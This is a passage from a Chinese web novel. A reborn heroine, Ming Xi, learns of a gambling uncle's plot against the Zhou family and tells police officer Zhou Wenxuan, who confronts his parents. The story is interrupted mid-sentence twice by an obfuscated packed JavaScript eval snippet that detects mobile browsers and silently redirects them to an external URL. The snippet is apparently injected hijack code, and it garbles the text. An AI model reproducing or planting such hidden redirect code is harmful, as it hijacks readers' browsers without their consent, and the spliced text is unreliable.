她就说既然周文宣跟二叔关系这么好，前世为什么从来没有提到过他，父母是因为去世不愿触及伤痛，那二叔又是因为什么？ 是不是因为发现父母的死跟二叔有关系，而不愿意提？ 明曦心中千回百转，继续将注意力放到前方的二人身上。 “人命？”刘哥好似听到了什么天大的笑话一般，“是你的命重要，还是你哥嫂的命重要？反正我只知道你要是还不上钱，你的手肯定是不保的，至于命能不能保住还真不好说。” 周二叔听到这话整个人尬住，“让我想想，让我想想……” 刘哥松手放开他，大发慈悲道：“给你两天时间考虑，可别想着跑，我们的人可都盯着你呢，你应该知道跑了被抓住的下场。” 周二叔脑中瞬间闪过那些鬼哭狼嚎的画面，脸色苍白连忙摇头：“不、不，我肯定不跑，不跑。” “这才对，行了，你回去好好考虑吧。”刘哥说完这话后就带着人进去，没理吓成呆子的周二叔。 明曦见人走后也就不在这边停留，返回去骑了三轮车往回走。 到家时，明月正乖乖地坐在书桌前写作业，看到她回来抬起头笑：“姐，放学的时候忘记跟你说了，我们老师说下周一我们要去春游！” “春游？”明曦愣了下，没反应过来，不知道是不是想周二叔的事情想久了，脑子也变钝了，“噢噢春游，你们去哪？” 她话音刚落，就见苗翠翠从厨房探出头问：“什么是春游？” 明曦听她突然插进来这么一句，没忍住笑了起来，刚想解释就听明月道：“就是我们要出去玩的意思。” 苗翠翠惊讶地瞪大眼，稀奇道：“上学还能出去玩？一个班的学生都去吗？” 明月咧着嘴笑：“一个学校的学生都去。” 苗翠翠倒吸一口气，“这么多人，你们老师看得过来吗？” 明曦看着两人跟演小品似的，也跟着笑了笑，对明月说：“那你们这次是去哪？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233204|150102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “老师说去动物园。”明月放下笔，从书包里翻出回执单，“姐，你要帮我在这上面签下名。” “好。”明曦走过去，签好名后说，“那这周末带你去超市买点零食，你还想吃什么，我们周日帮你准备点，你可以跟同学们一起分享。” 小学生春游就是这样，每个人都带点零食，在那边一边走一边吃，玩一天也吃一天。 苗翠翠还在感叹：“海城就是好，小学生还有春游，还能去动物园，我都还没有去过动物园呢，也不知道里面都有什么动物。” 明月想了想说：“我听同学说，我们要去的动物园里有好多好多动物，有老虎，有长颈鹿，还有熊。” “熊？”苗翠翠问，“那有熊猫吗？” “有，有！”明月眼睛亮了亮，“有熊猫！我有同学去过，她说她在里面见到熊猫了。” 明曦听到这话，疑惑了下，她记得海城动物园里没有熊猫啊，她前世去过，难不成是她记错了？还是她当时没看到？ “真好，能看到熊猫，那到时候熊猫会给你们表演吗？”苗翠翠坐过去，一脸好奇。 明曦听到这话笑了笑，熊猫上过春晚，在春晚表演了节目，所以现在有很多人都知道熊猫，喜欢熊猫。 明月回道：“应该不会吧，我同学说，她见到的熊猫没表演节目。” “好吧。”苗翠翠有些失望，“看来也不是所有熊猫都会表演节目的。” 明曦听着两人聊天，脑子又回到周二叔的事上来。 前世周文宣父母的确死于意外，所以周二叔最后为了钱还是主动或被动地同意了刘哥的建议。 她翻遍了脑子里的记忆，前世周文宣很少在她面前提父母，就算提到说的也都是些小时候的趣事，她甚至都不记得他有没有给父母过过祭日。 而他二叔前世又去了哪里？明曦皱着眉，突然想起江队前世曾说过的一段话，“他有亲属在里面，对他影响不好，说不定还会影响到他升职。” “在里面？”在监狱里面吗？那这样说来，周二叔后来被送进了监狱，是周文宣亲手送进去的吗？他在父母去世后，什么时候发现的周二叔有问题，什么时候知道的周二叔跟他父母的死有关系？ 她想起这一世见过的周文宣的少年意气，鲜活又充满了精力，眼中满是对未来的希望，而前世的周文宣总是冷言寡语，整个人都默默的，眼神中充满了防备，对人的防备，对世界的防备。 是啊，至亲之人被信任的二叔设计杀害，经历了这种事情后，他再也没有办法回到从前满是热忱的少年了。 明曦抿了抿唇，躺在床上，盯着天花板瞧，笑得明朗的周文宣和垂眼沉默的周文宣不停的在她脑中交替跳动。 她闭上眼，深呼了一口气，这一世，她不想再让他活得那么苦了，她想让他永远都这样笑着，眼神里充满色彩，精神奕奕地望着她。 她一定要破坏周二叔的计划，绝不能让他得逞。 23. 求证 明曦在床上翻来覆去的睡不着，脑中一直在想着周家的事情。 她并不知道前世周文宣父母是发生了什么意外，也不知道发生在哪一天，所以目前当务之急就是将这两件搞清楚，如此才能提前阻止。 但她不知道，有一个人肯定知道，那就是周二叔，既然那位刘哥说让周二叔在两天之内给他答复，那就看周二叔到时候会去跟他说些什么。 她现在犹豫的是要不要将这件事告诉周文宣，毕竟这件事算是他的家事，而告诉的话，什么时候说，是现在说，还是在得知周二叔的全部计划之后再说，而说又要说到什么程度，是和盘托出还是隐藏一点？ 明曦闭上眼，在黑暗中思索，这件事只能成功不能失败，它不仅关乎着两条生命，更重要的是周文宣，她不想再让他成为孤家寡人，孤零零的活在这世上。 第二天一早，明曦对苗翠翠道：“我这两天有点事，我们先不出摊了，你这两天帮我把晚上要送给田江的几个蛋糕做掉。” 苗翠翠虽然疑惑，但还是乖乖点头，吃完早饭后就回来做蛋糕，不出摊也好，她能少做很多东西，做好要做的几个蛋糕后就可以休息了。 而明曦在将明月送到学校后就直奔公安局而去，她还是决定将全部告诉周文宣，因为她一个人很难将事情办成，若是失败，她的良心也负担不起对两条人命的愧疚。 但周文宣会不会信任她还是个问题，说白了，没有上一世的感情基础，哪怕他现在对她动心，他们目前也只是普通朋友而已。 而周二叔却是从小看着他长大的长辈，他最信任的人。 昨天两人刚见过面，周文宣没想到明曦今天会来找自己，他有些兴奋的从办公室里出来，走到她面前问：“怎么了吗？是不是有什么事找我。” 明曦默了默，是有事，只是恐怕不是他想的那种事，她屡次开口又都咽下去。 周文宣看出她的为难，以为是这边的环境不好说话，道：“对面有家咖啡店，我们去那里面说？” 明曦看着他点点头。 到了店里，周文宣将菜单递给明曦问：“你看你想喝什么？” “拿铁吧。” “要两杯拿铁，谢谢。”周文宣将菜单递给服务员，点头笑了笑。 两杯拿铁被端上来后，明曦抿了一口，咖啡的醇香苦涩混合着牛奶的丝滑甜美，思思甜意滑入心口，她抬眼看向周文宣，想了想措辞将昨天的所见所闻都说了出来。 她声音明平静，叙事逻辑严密，周文宣的脸色越听越僵硬，最后在她说完，手中不稳，白色的咖啡杯从手里跌落，摔碎在瓷白的地板上，发出清脆的碰撞声响。 服务员听到这边的声音立马上前将杯子碎片清扫走，还要拿了拖把将液体拖干净，明曦抬手制止，略带歉意道：“不好意思，这些可以待会儿再收拾吗？我们现在有些事要谈。” “好的。”服务员听到这话答应，拿着拖把离开。 周文宣几次张口，才找回了自己的声音，嗓音干涩道：“你是说，我二叔滥赌成性？还准备拿我家的厂子去填补他的亏空？甚至还要害我爸妈，他哥嫂？”说完后他舔唇笑了笑，满眼的不相信。 明曦明白他的想法，这种事情放在谁身上都不是一件容易接受的事情，但它在前世的的确确是发生了。 “我知道你不相信，但这真的都是我亲耳听到的，我保证我绝对没有一句虚言，而且我也没有理由在这种事情上对你撒谎。” 她说的有道理，周文宣也知道她没必要在这种一拆就穿的事情上耍弄他，他有些沉默地坐着，肩膀塌陷下去，眉宇之中充满了疲惫。 明曦看到他这样子，恍然之间好像又回到了前世，那时他被开除后，仍坚持四处奔波寻找证据，迷茫疲惫之时就是这样子一个人静静地坐在她房间里，周身寂寥，好像被全世界抛弃。 明曦看得心疼，但她知道，他是一个坚强的人，他一定能够撑过去的。 “我想你二叔赌-博的事情，舒阿姨和周叔叔肯定是知情的，你可以去问一下他们。” 明曦想到的事情，周文宣也已经想到了，他站起身，脚步有些仓皇地回公安局要向江队请假。 明曦在他出去后将咖啡钱和杯子钱付掉，对服务员道歉说：“不好意思，将你们的杯子打碎了，麻烦你们收拾一下。”也跟着出去。 两人骑着摩托车来到铭达服装厂。 到了服装厂后，明曦没进去，对周文宣说：“你就问叔叔你二叔是不是赌博欠钱，其它的都不要说，现在都还没有确定，别让他们担心害怕。”他们的家事，又是丑事，她一个外人还是不要进去的好。 周文宣点头，眼神慌乱。 周厂长和舒绣芳这时候都在厂里上班，谁也没有想到儿子会来。 舒绣芳在听到同事跟她说周文宣来了厂里，还直奔厂长办公室去了，还有些不相信，他天天忙得不行，怎么可能现在过来，不休息不放假的。 但同事信誓旦旦不似作伪，而且同事也没必要在这件事上骗她，舒绣芳抱着怀疑的心往办公室去。 而这时候的厂长办公室却是一片寂静，周文宣和周厂长两个人一个站着一个坐着，谁都没有说话，周文宣直直盯着周厂长的眼睛，企图他能给他一个答案，而周厂长却避开他的视线，沉默着没有开口。 就在这时，舒绣芳推门进来，看到这一幕笑道：“这是怎么了？文宣你怎么这时候过来了？不用上班吗？” 周文宣见她进来也不再逼问周厂长，转而过去拉着她的手臂，正要开口寻求一个答案时，周厂长动了。 他出声打断周文宣的话，声音低沉，一字一句沉重地敲在另外两人的心上：“是，你二叔赌博，赌了很多年了。” 他这句话一出口，另外两人都沉默了，舒绣芳的笑容瞬间收起，眼神中都是冷意。 “文宣，你今天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14240517|150102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来就是因为这事？” 周文宣这时候彷佛找不到自己的声带在哪，他愣愣地点头：“是。”他怎么也想不到身为刑警的他竟然会有一个烂赌成性的二叔，而他竟然毫无所觉。 舒绣芳无奈地看了他一眼道：“你现在也长大了，也参与工作了，有些事告诉你也应该告诉你了。” 周厂长还不欲多说，舒绣芳瞪了他一眼：“孩子都来问了，你还要瞒着吗？你还想瞒多久？” 周厂长听到这话重重叹息一声，不再说话，任由妻子将一切真相都告诉儿子。 “你二叔是在你十七岁的时候染上赌博的，一开始只是小赌，输也输不多，我们也都不知道，后来不知道什么时候就开始大赌，一夜之间能输掉半个身家，后来越赌输得就越多，直到他自己再也兜不住，还不上钱后就来找你爸，你爸也是贱，他只要来求几次，虚情假意的哭几回，你爸就都把那个窟窿填上，但我们又能有多少钱，能填多少回？”舒绣芳说到这里忍不住又瞪了周厂长一眼，谁的钱不是辛苦赚的？他们的存款都已经所剩无几，全都给了那个败家子了。 周厂长此时接腔：“你二叔是我看着长大，又比我小许多，我是真的疼他，他掉进那个泥坑里，我作为哥哥怎么可能不心痛，我每回都劝他戒赌，他也每回都答应的好好的。” 舒绣芳呛声：“他要是真能戒掉，还能找你拿这么多钱？也就是你还能相信他的鬼话！我说了多少回要把这件事告诉文宣，你就是不愿意，你怕毁了你二弟的形象！也不知道你二弟一个赌鬼还能有什么形象！你也不怕他会把文宣带坏！” 周厂长噪眉耷眼的，又是一声叹气。 舒绣芳扭过头对着周文宣继续说：“以前你爸总觉得你小，不想把这件事告诉你，怕你跟你二叔闹起来，你也总疑惑为什么我跟你二叔以前关系那么好，现在怎么就处处看他不顺眼，我每回都想跟你说实话，但又不知道从何说起。” 周文宣颤抖着声音问：“二叔现在又欠了多少钱？” 周厂长沉默了瞬，没有说具体多少钱，只道：“这次是真还不起，也填不上。” 周文宣又想到明曦的那些话，心中有了实感，只觉天旋地转，他从小亲近的二叔真的要为了那些钱来伤害他爸妈吗？ 舒绣芳伸手捋了捋儿子凌乱的碎发，看着孩子失神的双眼，心中苦痛，他们家的钱几乎都给了那个败家子了，而这个厂子又一直经营不善，已经实在没有什么家底能留给自己儿子了。 周文宣脚步虚浮地从办公室走出来，谢绝了父母相送，他走到门口，明曦正倚着他的摩托车站立。 明曦看到他后，连忙上前，没有询问他结果如何，只因光从他的表情上就能预料到。 周文宣露出一个半哭不哭的苦笑：“我而是……”剩下的话隐在哽咽里，再难说出口。 明曦心疼地上前抱住他，伸手轻抚他的脊背，感受着颈窝处被眼泪浸湿的冰凉。